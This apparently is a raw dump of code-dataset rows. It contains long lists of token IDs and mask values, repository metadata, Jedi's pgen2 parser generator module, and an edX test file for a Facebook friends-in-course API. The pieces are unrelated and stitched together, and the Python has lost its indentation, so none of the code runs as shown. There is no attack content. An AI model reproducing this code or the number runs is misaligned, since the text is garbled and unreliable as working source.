1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
thatneat/dotfiles
|
other_applications/sublime-text-3/Packages/Anaconda/anaconda_lib/jedi/parser/pgen2/pgen.py
|
49
|
13966
|
# Copyright 2004-2005 Elemental Security, Inc. All Rights Reserved.
# Licensed to PSF under a Contributor Agreement.
# Modifications:
# Copyright 2014 David Halter. Integration into Jedi.
# Modifications are dual-licensed: MIT and PSF.
# Pgen imports
from . import grammar
from jedi.parser import token
from jedi.parser import tokenize
class ParserGenerator(object):
def __init__(self, filename, stream=None):
close_stream = None
if stream is None:
stream = open(filename)
close_stream = stream.close
self.filename = filename
self.stream = stream
self.generator = tokenize.generate_tokens(stream.readline)
self.gettoken() # Initialize lookahead
self.dfas, self.startsymbol = self.parse()
if close_stream is not None:
close_stream()
self.first = {} # map from symbol name to set of tokens
self.addfirstsets()
def make_grammar(self):
c = grammar.Grammar()
names = list(self.dfas.keys())
names.sort()
names.remove(self.startsymbol)
names.insert(0, self.startsymbol)
for name in names:
i = 256 + len(c.symbol2number)
c.symbol2number[name] = i
c.number2symbol[i] = name
for name in names:
dfa = self.dfas[name]
states = []
for state in dfa:
arcs = []
for label, next in state.arcs.items():
arcs.append((self.make_label(c, label), dfa.index(next)))
if state.isfinal:
arcs.append((0, dfa.index(state)))
states.append(arcs)
c.states.append(states)
c.dfas[c.symbol2number[name]] = (states, self.make_first(c, name))
c.start = c.symbol2number[self.startsymbol]
return c
def make_first(self, c, name):
rawfirst = self.first[name]
first = {}
for label in rawfirst:
ilabel = self.make_label(c, label)
##assert ilabel not in first # XXX failed on <> ... !=
first[ilabel] = 1
return first
def make_label(self, c, label):
# XXX Maybe this should be a method on a subclass of converter?
ilabel = len(c.labels)
if label[0].isalpha():
# Either a symbol name or a named token
if label in c.symbol2number:
# A symbol name (a non-terminal)
if label in c.symbol2label:
return c.symbol2label[label]
else:
c.labels.append((c.symbol2number[label], None))
c.symbol2label[label] = ilabel
return ilabel
else:
# A named token (NAME, NUMBER, STRING)
itoken = getattr(token, label, None)
assert isinstance(itoken, int), label
assert itoken in token.tok_name, label
if itoken in c.tokens:
return c.tokens[itoken]
else:
c.labels.append((itoken, None))
c.tokens[itoken] = ilabel
return ilabel
else:
# Either a keyword or an operator
assert label[0] in ('"', "'"), label
value = eval(label)
if value[0].isalpha():
# A keyword
if value in c.keywords:
return c.keywords[value]
else:
c.labels.append((token.NAME, value))
c.keywords[value] = ilabel
return ilabel
else:
# An operator (any non-numeric token)
itoken = token.opmap[value] # Fails if unknown token
if itoken in c.tokens:
return c.tokens[itoken]
else:
c.labels.append((itoken, None))
c.tokens[itoken] = ilabel
return ilabel
def addfirstsets(self):
names = list(self.dfas.keys())
names.sort()
for name in names:
if name not in self.first:
self.calcfirst(name)
#print name, self.first[name].keys()
def calcfirst(self, name):
dfa = self.dfas[name]
self.first[name] = None # dummy to detect left recursion
state = dfa[0]
totalset = {}
overlapcheck = {}
for label, next in state.arcs.items():
if label in self.dfas:
if label in self.first:
fset = self.first[label]
if fset is None:
raise ValueError("recursion for rule %r" % name)
else:
self.calcfirst(label)
fset = self.first[label]
totalset.update(fset)
overlapcheck[label] = fset
else:
totalset[label] = 1
overlapcheck[label] = {label: 1}
inverse = {}
for label, itsfirst in overlapcheck.items():
for symbol in itsfirst:
if symbol in inverse:
raise ValueError("rule %s is ambiguous; %s is in the"
" first sets of %s as well as %s" %
(name, symbol, label, inverse[symbol]))
inverse[symbol] = label
self.first[name] = totalset
def parse(self):
dfas = {}
startsymbol = None
# MSTART: (NEWLINE | RULE)* ENDMARKER
while self.type != token.ENDMARKER:
while self.type == token.NEWLINE:
self.gettoken()
# RULE: NAME ':' RHS NEWLINE
name = self.expect(token.NAME)
self.expect(token.OP, ":")
a, z = self.parse_rhs()
self.expect(token.NEWLINE)
#self.dump_nfa(name, a, z)
dfa = self.make_dfa(a, z)
#self.dump_dfa(name, dfa)
# oldlen = len(dfa)
self.simplify_dfa(dfa)
# newlen = len(dfa)
dfas[name] = dfa
#print name, oldlen, newlen
if startsymbol is None:
startsymbol = name
return dfas, startsymbol
def make_dfa(self, start, finish):
# To turn an NFA into a DFA, we define the states of the DFA
# to correspond to *sets* of states of the NFA. Then do some
# state reduction. Let's represent sets as dicts with 1 for
# values.
assert isinstance(start, NFAState)
assert isinstance(finish, NFAState)
def closure(state):
base = {}
addclosure(state, base)
return base
def addclosure(state, base):
assert isinstance(state, NFAState)
if state in base:
return
base[state] = 1
for label, next in state.arcs:
if label is None:
addclosure(next, base)
states = [DFAState(closure(start), finish)]
for state in states: # NB states grows while we're iterating
arcs = {}
for nfastate in state.nfaset:
for label, next in nfastate.arcs:
if label is not None:
addclosure(next, arcs.setdefault(label, {}))
for label, nfaset in arcs.items():
for st in states:
if st.nfaset == nfaset:
break
else:
st = DFAState(nfaset, finish)
states.append(st)
state.addarc(st, label)
return states # List of DFAState instances; first one is start
def dump_nfa(self, name, start, finish):
print("Dump of NFA for", name)
todo = [start]
for i, state in enumerate(todo):
print(" State", i, state is finish and "(final)" or "")
for label, next in state.arcs:
if next in todo:
j = todo.index(next)
else:
j = len(todo)
todo.append(next)
if label is None:
print(" -> %d" % j)
else:
print(" %s -> %d" % (label, j))
def dump_dfa(self, name, dfa):
print("Dump of DFA for", name)
for i, state in enumerate(dfa):
print(" State", i, state.isfinal and "(final)" or "")
for label, next in state.arcs.items():
print(" %s -> %d" % (label, dfa.index(next)))
def simplify_dfa(self, dfa):
# This is not theoretically optimal, but works well enough.
# Algorithm: repeatedly look for two states that have the same
# set of arcs (same labels pointing to the same nodes) and
# unify them, until things stop changing.
# dfa is a list of DFAState instances
changes = True
while changes:
changes = False
for i, state_i in enumerate(dfa):
for j in range(i + 1, len(dfa)):
state_j = dfa[j]
if state_i == state_j:
#print " unify", i, j
del dfa[j]
for state in dfa:
state.unifystate(state_j, state_i)
changes = True
break
def parse_rhs(self):
# RHS: ALT ('|' ALT)*
a, z = self.parse_alt()
if self.value != "|":
return a, z
else:
aa = NFAState()
zz = NFAState()
aa.addarc(a)
z.addarc(zz)
while self.value == "|":
self.gettoken()
a, z = self.parse_alt()
aa.addarc(a)
z.addarc(zz)
return aa, zz
def parse_alt(self):
# ALT: ITEM+
a, b = self.parse_item()
while (self.value in ("(", "[") or
self.type in (token.NAME, token.STRING)):
c, d = self.parse_item()
b.addarc(c)
b = d
return a, b
def parse_item(self):
# ITEM: '[' RHS ']' | ATOM ['+' | '*']
if self.value == "[":
self.gettoken()
a, z = self.parse_rhs()
self.expect(token.OP, "]")
a.addarc(z)
return a, z
else:
a, z = self.parse_atom()
value = self.value
if value not in ("+", "*"):
return a, z
self.gettoken()
z.addarc(a)
if value == "+":
return a, z
else:
return a, a
def parse_atom(self):
# ATOM: '(' RHS ')' | NAME | STRING
if self.value == "(":
self.gettoken()
a, z = self.parse_rhs()
self.expect(token.OP, ")")
return a, z
elif self.type in (token.NAME, token.STRING):
a = NFAState()
z = NFAState()
a.addarc(z, self.value)
self.gettoken()
return a, z
else:
self.raise_error("expected (...) or NAME or STRING, got %s/%s",
self.type, self.value)
def expect(self, type, value=None):
if self.type != type or (value is not None and self.value != value):
self.raise_error("expected %s/%s, got %s/%s",
type, value, self.type, self.value)
value = self.value
self.gettoken()
return value
def gettoken(self):
tup = next(self.generator)
while tup[0] in (token.COMMENT, token.NL):
tup = next(self.generator)
self.type, self.value, self.begin, prefix = tup
#print tokenize.tok_name[self.type], repr(self.value)
def raise_error(self, msg, *args):
if args:
try:
msg = msg % args
except:
msg = " ".join([msg] + list(map(str, args)))
line = open(self.filename).readlines()[self.begin[0]]
raise SyntaxError(msg, (self.filename, self.begin[0],
self.begin[1], line))
class NFAState(object):
def __init__(self):
self.arcs = [] # list of (label, NFAState) pairs
def addarc(self, next, label=None):
assert label is None or isinstance(label, str)
assert isinstance(next, NFAState)
self.arcs.append((label, next))
class DFAState(object):
def __init__(self, nfaset, final):
assert isinstance(nfaset, dict)
assert isinstance(next(iter(nfaset)), NFAState)
assert isinstance(final, NFAState)
self.nfaset = nfaset
self.isfinal = final in nfaset
self.arcs = {} # map from label to DFAState
def addarc(self, next, label):
assert isinstance(label, str)
assert label not in self.arcs
assert isinstance(next, DFAState)
self.arcs[label] = next
def unifystate(self, old, new):
for label, next in self.arcs.items():
if next is old:
self.arcs[label] = new
def __eq__(self, other):
# Equality test -- ignore the nfaset instance variable
assert isinstance(other, DFAState)
if self.isfinal != other.isfinal:
return False
# Can't just return self.arcs == other.arcs, because that
# would invoke this method recursively, with cycles...
if len(self.arcs) != len(other.arcs):
return False
for label, next in self.arcs.items():
if next is not other.arcs.get(label):
return False
return True
__hash__ = None # For Py3 compatibility.
def generate_grammar(filename="Grammar.txt"):
p = ParserGenerator(filename)
return p.make_grammar()
|
mit
|
[
3,
1898,
8353,
13,
9397,
6566,
279,
13863,
12,
3277,
14,
2900,
5924,
5702,
14,
199,
3,
3909,
370,
29770,
1334,
282,
17636,
28629,
14,
199,
199,
3,
12972,
3477,
83,
26,
199,
3,
1898,
6927,
20232,
869,
11858,
14,
27561,
1901,
1603,
6297,
14,
199,
3,
12972,
3477,
83,
787,
21164,
13,
1682,
68,
26,
10697,
436,
29770,
14,
199,
199,
3,
510,
2268,
8925,
199,
504,
1275,
492,
12528,
199,
504,
1335,
6297,
14,
2087,
492,
1526,
199,
504,
1335,
6297,
14,
2087,
492,
13343,
421,
199,
533,
10191,
7599,
8,
785,
304,
272,
347,
636,
826,
721,
277,
12,
1788,
12,
2547,
29,
403,
304,
267,
4002,
63,
1745,
275,
488,
267,
340,
2547,
365,
488,
26,
288,
2547,
275,
1551,
8,
1501,
9,
288,
4002,
63,
1745,
275,
2547,
14,
1600,
267,
291,
14,
1501,
275,
1788,
267,
291,
14,
1745,
275,
2547,
267,
291,
14,
4679,
275,
13343,
14,
4208,
63,
4504,
8,
1745,
14,
6407,
9,
267,
291,
14,
362,
1418,
342,
221,
327,
11578,
16076,
267,
291,
14,
1587,
305,
12,
291,
14,
928,
5155,
275,
291,
14,
1122,
342,
267,
340,
4002,
63,
1745,
365,
440,
488,
26,
288,
4002,
63,
1745,
342,
267,
291,
14,
2246,
275,
1052,
221,
327,
2341,
687,
5272,
536,
370,
663,
402,
4645,
267,
291,
14,
525,
2246,
2193,
342,
339,
347,
1852,
63,
15239,
8,
277,
304,
267,
286,
275,
12528,
14,
27119,
342,
267,
1561,
275,
769,
8,
277,
14,
1587,
305,
14,
1612,
1012,
267,
1561,
14,
3191,
342,
267,
1561,
14,
2168,
8,
277,
14,
928,
5155,
9,
267,
1561,
14,
3176,
8,
16,
12,
291,
14,
928,
5155,
9,
267,
367,
536,
315,
1561,
26,
288,
284,
275,
7633,
435,
822,
8,
67,
14,
5155,
18,
1955,
9,
288,
286,
14,
5155,
18,
1955,
59,
354,
61,
275,
284,
288,
286,
14,
1955,
18,
5155,
59,
73,
61,
275,
536,
267,
367,
536,
315,
1561,
26,
288,
366,
667,
275,
291,
14,
1587,
305,
59,
354,
61,
288,
6363,
275,
942,
288,
367,
1174,
315,
366,
667,
26,
355,
601,
1259,
275,
942,
355,
367,
1768,
12,
2163,
315,
1174,
14,
20672,
14,
1744,
837,
490,
601,
1259,
14,
740,
1332,
277,
14,
1875,
63,
1302,
8,
67,
12,
1768,
395,
366,
667,
14,
1080,
8,
2184,
1724,
355,
340,
1174,
14,
374,
5094,
26,
490,
601,
1259,
14,
740,
1332,
16,
12,
366,
667,
14,
1080,
8,
929,
1724,
355,
6363,
14,
740,
8,
20672,
9,
288,
286,
14,
4981,
14,
740,
8,
4981,
9,
288,
286,
14,
1587,
305,
59,
67,
14,
5155,
18,
1955,
59,
354,
2677,
275,
334,
4981,
12,
291,
14,
1875,
63,
2246,
8,
67,
12,
536,
430,
267,
286,
14,
928,
275,
286,
14,
5155,
18,
1955,
59,
277,
14,
928,
5155,
61,
267,
372,
286,
339,
347,
1852,
63,
2246,
8,
277,
12,
286,
12,
536,
304,
267,
3066,
2246,
275,
291,
14,
2246,
59,
354,
61,
267,
1642,
275,
1052,
267,
367,
1768,
315,
3066,
2246,
26,
288,
284,
1302,
275,
291,
14,
1875,
63,
1302,
8,
67,
12,
1768,
9,
288,
925,
479,
284,
1302,
440,
315,
1642,
327,
5787,
3405,
641,
20941,
2263,
1137,
288,
1642,
59,
382,
902,
61,
275,
413,
267,
372,
1642,
339,
347,
1852,
63,
1302,
8,
277,
12,
286,
12,
1768,
304,
267,
327,
5787,
23038,
642,
1077,
506,
282,
1083,
641,
282,
5516,
402,
11109,
31,
267,
284,
1302,
275,
822,
8,
67,
14,
3512,
9,
267,
340,
1768,
59,
16,
1055,
374,
4468,
837,
288,
327,
13083,
282,
5272,
536,
503,
282,
4310,
1526,
288,
340,
1768,
315,
286,
14,
5155,
18,
1955,
26,
355,
327,
437,
5272,
536,
334,
65,
2222,
13,
12010,
9,
355,
340,
1768,
315,
286,
14,
5155,
18,
1302,
26,
490,
372,
286,
14,
5155,
18,
1302,
59,
1302,
61,
355,
587,
26,
490,
286,
14,
3512,
14,
740,
1332,
67,
14,
5155,
18,
1955,
59,
1302,
467,
488,
430,
490,
286,
14,
5155,
18,
1302,
59,
1302,
61,
275,
284,
1302,
490,
372,
284,
1302,
288,
587,
26,
355,
327,
437,
4310,
1526,
334,
2339,
12,
18122,
12,
18661,
9,
355,
284,
1418,
275,
2519,
8,
1418,
12,
1768,
12,
488,
9,
355,
702,
1228,
8,
390,
2858,
12,
1109,
395,
1768,
355,
702,
284,
1418,
315,
1526,
14,
9305,
63,
354,
12,
1768,
355,
340,
284,
1418,
315,
286,
14,
4504,
26,
490,
372,
286,
14,
4504,
59,
390,
2858,
61,
355,
587,
26,
490,
286,
14,
3512,
14,
740,
1332,
390,
2858,
12,
488,
430,
490,
286,
14,
4504,
59,
390,
2858,
61,
275,
284,
1302,
490,
372,
284,
1302,
267,
587,
26,
288,
327,
13083,
282,
4252,
503,
376,
4182,
288,
702,
1768,
59,
16,
61,
315,
661,
6949,
3546,
1288,
1768,
288,
574,
275,
3468,
8,
1302,
9,
288,
340,
574,
59,
16,
1055,
374,
4468,
837,
355,
327,
437,
4252,
355,
340,
574,
315,
286,
14,
7511,
26,
490,
372,
286,
14,
7511,
59,
585,
61,
355,
587,
26,
490,
286,
14,
3512,
14,
740,
1332,
1418,
14,
2339,
12,
574,
430,
490,
286,
14,
7511,
59,
585,
61,
275,
284,
1302,
490,
372,
284,
1302,
288,
587,
26,
355,
327,
1626,
4182,
334,
1629,
2222,
13,
6677,
1526,
9,
355,
284,
1418,
275,
1526,
14,
411,
1130,
59,
585,
61,
221,
327,
12176,
83,
340,
5809,
1526,
355,
340,
284,
1418,
315,
286,
14,
4504,
26,
490,
372,
286,
14,
4504,
59,
390,
2858,
61,
355,
587,
26,
490,
286,
14,
3512,
14,
740,
1332,
390,
2858,
12,
488,
430,
490,
286,
14,
4504,
59,
390,
2858,
61,
275,
284,
1302,
490,
372,
284,
1302,
339,
347,
1050,
2246,
2193,
8,
277,
304,
267,
1561,
275,
769,
8,
277,
14,
1587,
305,
14,
1612,
1012,
267,
1561,
14,
3191,
342,
267,
367,
536,
315,
1561,
26,
288,
340,
536,
440,
315,
291,
14,
2246,
26,
355,
291,
14,
8104,
2246,
8,
354,
9,
288,
327,
1361,
536,
12,
291,
14,
2246,
59,
354,
1055,
1612,
342,
339,
347,
12831,
2246,
8,
277,
12,
536,
304,
267,
366,
667,
275,
291,
14,
1587,
305,
59,
354
] |
[
1898,
8353,
13,
9397,
6566,
279,
13863,
12,
3277,
14,
2900,
5924,
5702,
14,
199,
3,
3909,
370,
29770,
1334,
282,
17636,
28629,
14,
199,
199,
3,
12972,
3477,
83,
26,
199,
3,
1898,
6927,
20232,
869,
11858,
14,
27561,
1901,
1603,
6297,
14,
199,
3,
12972,
3477,
83,
787,
21164,
13,
1682,
68,
26,
10697,
436,
29770,
14,
199,
199,
3,
510,
2268,
8925,
199,
504,
1275,
492,
12528,
199,
504,
1335,
6297,
14,
2087,
492,
1526,
199,
504,
1335,
6297,
14,
2087,
492,
13343,
421,
199,
533,
10191,
7599,
8,
785,
304,
272,
347,
636,
826,
721,
277,
12,
1788,
12,
2547,
29,
403,
304,
267,
4002,
63,
1745,
275,
488,
267,
340,
2547,
365,
488,
26,
288,
2547,
275,
1551,
8,
1501,
9,
288,
4002,
63,
1745,
275,
2547,
14,
1600,
267,
291,
14,
1501,
275,
1788,
267,
291,
14,
1745,
275,
2547,
267,
291,
14,
4679,
275,
13343,
14,
4208,
63,
4504,
8,
1745,
14,
6407,
9,
267,
291,
14,
362,
1418,
342,
221,
327,
11578,
16076,
267,
291,
14,
1587,
305,
12,
291,
14,
928,
5155,
275,
291,
14,
1122,
342,
267,
340,
4002,
63,
1745,
365,
440,
488,
26,
288,
4002,
63,
1745,
342,
267,
291,
14,
2246,
275,
1052,
221,
327,
2341,
687,
5272,
536,
370,
663,
402,
4645,
267,
291,
14,
525,
2246,
2193,
342,
339,
347,
1852,
63,
15239,
8,
277,
304,
267,
286,
275,
12528,
14,
27119,
342,
267,
1561,
275,
769,
8,
277,
14,
1587,
305,
14,
1612,
1012,
267,
1561,
14,
3191,
342,
267,
1561,
14,
2168,
8,
277,
14,
928,
5155,
9,
267,
1561,
14,
3176,
8,
16,
12,
291,
14,
928,
5155,
9,
267,
367,
536,
315,
1561,
26,
288,
284,
275,
7633,
435,
822,
8,
67,
14,
5155,
18,
1955,
9,
288,
286,
14,
5155,
18,
1955,
59,
354,
61,
275,
284,
288,
286,
14,
1955,
18,
5155,
59,
73,
61,
275,
536,
267,
367,
536,
315,
1561,
26,
288,
366,
667,
275,
291,
14,
1587,
305,
59,
354,
61,
288,
6363,
275,
942,
288,
367,
1174,
315,
366,
667,
26,
355,
601,
1259,
275,
942,
355,
367,
1768,
12,
2163,
315,
1174,
14,
20672,
14,
1744,
837,
490,
601,
1259,
14,
740,
1332,
277,
14,
1875,
63,
1302,
8,
67,
12,
1768,
395,
366,
667,
14,
1080,
8,
2184,
1724,
355,
340,
1174,
14,
374,
5094,
26,
490,
601,
1259,
14,
740,
1332,
16,
12,
366,
667,
14,
1080,
8,
929,
1724,
355,
6363,
14,
740,
8,
20672,
9,
288,
286,
14,
4981,
14,
740,
8,
4981,
9,
288,
286,
14,
1587,
305,
59,
67,
14,
5155,
18,
1955,
59,
354,
2677,
275,
334,
4981,
12,
291,
14,
1875,
63,
2246,
8,
67,
12,
536,
430,
267,
286,
14,
928,
275,
286,
14,
5155,
18,
1955,
59,
277,
14,
928,
5155,
61,
267,
372,
286,
339,
347,
1852,
63,
2246,
8,
277,
12,
286,
12,
536,
304,
267,
3066,
2246,
275,
291,
14,
2246,
59,
354,
61,
267,
1642,
275,
1052,
267,
367,
1768,
315,
3066,
2246,
26,
288,
284,
1302,
275,
291,
14,
1875,
63,
1302,
8,
67,
12,
1768,
9,
288,
925,
479,
284,
1302,
440,
315,
1642,
327,
5787,
3405,
641,
20941,
2263,
1137,
288,
1642,
59,
382,
902,
61,
275,
413,
267,
372,
1642,
339,
347,
1852,
63,
1302,
8,
277,
12,
286,
12,
1768,
304,
267,
327,
5787,
23038,
642,
1077,
506,
282,
1083,
641,
282,
5516,
402,
11109,
31,
267,
284,
1302,
275,
822,
8,
67,
14,
3512,
9,
267,
340,
1768,
59,
16,
1055,
374,
4468,
837,
288,
327,
13083,
282,
5272,
536,
503,
282,
4310,
1526,
288,
340,
1768,
315,
286,
14,
5155,
18,
1955,
26,
355,
327,
437,
5272,
536,
334,
65,
2222,
13,
12010,
9,
355,
340,
1768,
315,
286,
14,
5155,
18,
1302,
26,
490,
372,
286,
14,
5155,
18,
1302,
59,
1302,
61,
355,
587,
26,
490,
286,
14,
3512,
14,
740,
1332,
67,
14,
5155,
18,
1955,
59,
1302,
467,
488,
430,
490,
286,
14,
5155,
18,
1302,
59,
1302,
61,
275,
284,
1302,
490,
372,
284,
1302,
288,
587,
26,
355,
327,
437,
4310,
1526,
334,
2339,
12,
18122,
12,
18661,
9,
355,
284,
1418,
275,
2519,
8,
1418,
12,
1768,
12,
488,
9,
355,
702,
1228,
8,
390,
2858,
12,
1109,
395,
1768,
355,
702,
284,
1418,
315,
1526,
14,
9305,
63,
354,
12,
1768,
355,
340,
284,
1418,
315,
286,
14,
4504,
26,
490,
372,
286,
14,
4504,
59,
390,
2858,
61,
355,
587,
26,
490,
286,
14,
3512,
14,
740,
1332,
390,
2858,
12,
488,
430,
490,
286,
14,
4504,
59,
390,
2858,
61,
275,
284,
1302,
490,
372,
284,
1302,
267,
587,
26,
288,
327,
13083,
282,
4252,
503,
376,
4182,
288,
702,
1768,
59,
16,
61,
315,
661,
6949,
3546,
1288,
1768,
288,
574,
275,
3468,
8,
1302,
9,
288,
340,
574,
59,
16,
1055,
374,
4468,
837,
355,
327,
437,
4252,
355,
340,
574,
315,
286,
14,
7511,
26,
490,
372,
286,
14,
7511,
59,
585,
61,
355,
587,
26,
490,
286,
14,
3512,
14,
740,
1332,
1418,
14,
2339,
12,
574,
430,
490,
286,
14,
7511,
59,
585,
61,
275,
284,
1302,
490,
372,
284,
1302,
288,
587,
26,
355,
327,
1626,
4182,
334,
1629,
2222,
13,
6677,
1526,
9,
355,
284,
1418,
275,
1526,
14,
411,
1130,
59,
585,
61,
221,
327,
12176,
83,
340,
5809,
1526,
355,
340,
284,
1418,
315,
286,
14,
4504,
26,
490,
372,
286,
14,
4504,
59,
390,
2858,
61,
355,
587,
26,
490,
286,
14,
3512,
14,
740,
1332,
390,
2858,
12,
488,
430,
490,
286,
14,
4504,
59,
390,
2858,
61,
275,
284,
1302,
490,
372,
284,
1302,
339,
347,
1050,
2246,
2193,
8,
277,
304,
267,
1561,
275,
769,
8,
277,
14,
1587,
305,
14,
1612,
1012,
267,
1561,
14,
3191,
342,
267,
367,
536,
315,
1561,
26,
288,
340,
536,
440,
315,
291,
14,
2246,
26,
355,
291,
14,
8104,
2246,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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
jamesblunt/edx-platform
|
lms/djangoapps/mobile_api/social_facebook/friends/tests.py
|
128
|
14336
|
# pylint: disable=E1101
"""
Tests for friends
"""
import json
import httpretty
from django.core.urlresolvers import reverse
from xmodule.modulestore.tests.factories import CourseFactory
from ..test_utils import SocialFacebookTestCase
class TestFriends(SocialFacebookTestCase):
"""
Tests for /api/mobile/v0.5/friends/...
"""
def setUp(self):
super(TestFriends, self).setUp()
self.course = CourseFactory.create()
@httpretty.activate
def test_no_friends_enrolled(self):
# User 1 set up
self.user_create_and_signin(1)
# Link user_1's edX account to FB
self.link_edx_account_to_social(self.users[1], self.BACKEND, self.USERS[1]['FB_ID'])
self.set_sharing_preferences(self.users[1], True)
# Set the interceptor
self.set_facebook_interceptor_for_friends(
{
'data':
[
{'name': self.USERS[1]['USERNAME'], 'id': self.USERS[1]['FB_ID']},
{'name': self.USERS[2]['USERNAME'], 'id': self.USERS[2]['FB_ID']},
{'name': self.USERS[3]['USERNAME'], 'id': self.USERS[3]['FB_ID']},
]
}
)
course_id = unicode(self.course.id)
url = reverse('friends-in-course', kwargs={"course_id": course_id})
response = self.client.get(url, {'format': 'json', 'oauth_token': self._FB_USER_ACCESS_TOKEN})
# Assert that no friends are returned
self.assertEqual(response.status_code, 200)
self.assertTrue('friends' in response.data and len(response.data['friends']) == 0)
@httpretty.activate
def test_no_friends_on_facebook(self):
# User 1 set up
self.user_create_and_signin(1)
# Enroll user_1 in the course
self.enroll_in_course(self.users[1], self.course)
self.set_sharing_preferences(self.users[1], True)
# Link user_1's edX account to FB
self.link_edx_account_to_social(self.users[1], self.BACKEND, self.USERS[1]['FB_ID'])
# Set the interceptor
self.set_facebook_interceptor_for_friends({'data': []})
course_id = unicode(self.course.id)
url = reverse('friends-in-course', kwargs={"course_id": course_id})
response = self.client.get(
url, {'format': 'json', 'oauth_token': self._FB_USER_ACCESS_TOKEN}
)
# Assert that no friends are returned
self.assertEqual(response.status_code, 200)
self.assertTrue('friends' in response.data and len(response.data['friends']) == 0)
@httpretty.activate
def test_no_friends_linked_to_edx(self):
# User 1 set up
self.user_create_and_signin(1)
# Enroll user_1 in the course
self.enroll_in_course(self.users[1], self.course)
self.set_sharing_preferences(self.users[1], True)
# User 2 set up
self.user_create_and_signin(2)
# Enroll user_2 in the course
self.enroll_in_course(self.users[2], self.course)
self.set_sharing_preferences(self.users[2], True)
# User 3 set up
self.user_create_and_signin(3)
# Enroll user_3 in the course
self.enroll_in_course(self.users[3], self.course)
self.set_sharing_preferences(self.users[3], True)
# Set the interceptor
self.set_facebook_interceptor_for_friends(
{
'data':
[
{'name': self.USERS[1]['USERNAME'], 'id': self.USERS[1]['FB_ID']},
{'name': self.USERS[2]['USERNAME'], 'id': self.USERS[2]['FB_ID']},
{'name': self.USERS[3]['USERNAME'], 'id': self.USERS[3]['FB_ID']},
]
}
)
course_id = unicode(self.course.id)
url = reverse('friends-in-course', kwargs={"course_id": course_id})
response = self.client.get(
url,
{'format': 'json', 'oauth_token': self._FB_USER_ACCESS_TOKEN}
)
# Assert that no friends are returned
self.assertEqual(response.status_code, 200)
self.assertTrue('friends' in response.data and len(response.data['friends']) == 0)
@httpretty.activate
def test_no_friends_share_settings_false(self):
# User 1 set up
self.user_create_and_signin(1)
self.enroll_in_course(self.users[1], self.course)
self.link_edx_account_to_social(self.users[1], self.BACKEND, self.USERS[1]['FB_ID'])
self.set_sharing_preferences(self.users[1], False)
self.set_facebook_interceptor_for_friends(
{
'data':
[
{'name': self.USERS[1]['USERNAME'], 'id': self.USERS[1]['FB_ID']},
{'name': self.USERS[2]['USERNAME'], 'id': self.USERS[2]['FB_ID']},
{'name': self.USERS[3]['USERNAME'], 'id': self.USERS[3]['FB_ID']},
]
}
)
url = reverse('friends-in-course', kwargs={"course_id": unicode(self.course.id)})
response = self.client.get(url, {'format': 'json', 'oauth_token': self._FB_USER_ACCESS_TOKEN})
# Assert that USERNAME_1 is returned
self.assertEqual(response.status_code, 200)
self.assertTrue('friends' in response.data)
self.assertTrue('friends' in response.data and len(response.data['friends']) == 0)
@httpretty.activate
def test_no_friends_no_oauth_token(self):
# User 1 set up
self.user_create_and_signin(1)
self.enroll_in_course(self.users[1], self.course)
self.link_edx_account_to_social(self.users[1], self.BACKEND, self.USERS[1]['FB_ID'])
self.set_sharing_preferences(self.users[1], False)
self.set_facebook_interceptor_for_friends(
{
'data':
[
{'name': self.USERS[1]['USERNAME'], 'id': self.USERS[1]['FB_ID']},
{'name': self.USERS[2]['USERNAME'], 'id': self.USERS[2]['FB_ID']},
{'name': self.USERS[3]['USERNAME'], 'id': self.USERS[3]['FB_ID']},
]
}
)
url = reverse('friends-in-course', kwargs={"course_id": unicode(self.course.id)})
response = self.client.get(url, {'format': 'json'})
# Assert that USERNAME_1 is returned
self.assertEqual(response.status_code, 400)
@httpretty.activate
def test_one_friend_in_course(self):
# User 1 set up
self.user_create_and_signin(1)
self.enroll_in_course(self.users[1], self.course)
self.link_edx_account_to_social(self.users[1], self.BACKEND, self.USERS[1]['FB_ID'])
self.set_sharing_preferences(self.users[1], True)
self.set_facebook_interceptor_for_friends(
{
'data':
[
{'name': self.USERS[1]['USERNAME'], 'id': self.USERS[1]['FB_ID']},
{'name': self.USERS[2]['USERNAME'], 'id': self.USERS[2]['FB_ID']},
{'name': self.USERS[3]['USERNAME'], 'id': self.USERS[3]['FB_ID']},
]
}
)
url = reverse('friends-in-course', kwargs={"course_id": unicode(self.course.id)})
response = self.client.get(url, {'format': 'json', 'oauth_token': self._FB_USER_ACCESS_TOKEN})
# Assert that USERNAME_1 is returned
self.assertEqual(response.status_code, 200)
self.assertTrue('friends' in response.data)
self.assertTrue('id' in response.data['friends'][0])
self.assertTrue(response.data['friends'][0]['id'] == self.USERS[1]['FB_ID'])
self.assertTrue('name' in response.data['friends'][0])
self.assertTrue(response.data['friends'][0]['name'] == self.USERS[1]['USERNAME'])
@httpretty.activate
def test_three_friends_in_course(self):
# User 1 set up
self.user_create_and_signin(1)
self.enroll_in_course(self.users[1], self.course)
self.link_edx_account_to_social(self.users[1], self.BACKEND, self.USERS[1]['FB_ID'])
self.set_sharing_preferences(self.users[1], True)
# User 2 set up
self.user_create_and_signin(2)
self.enroll_in_course(self.users[2], self.course)
self.link_edx_account_to_social(self.users[2], self.BACKEND, self.USERS[2]['FB_ID'])
self.set_sharing_preferences(self.users[2], True)
# User 3 set up
self.user_create_and_signin(3)
self.enroll_in_course(self.users[3], self.course)
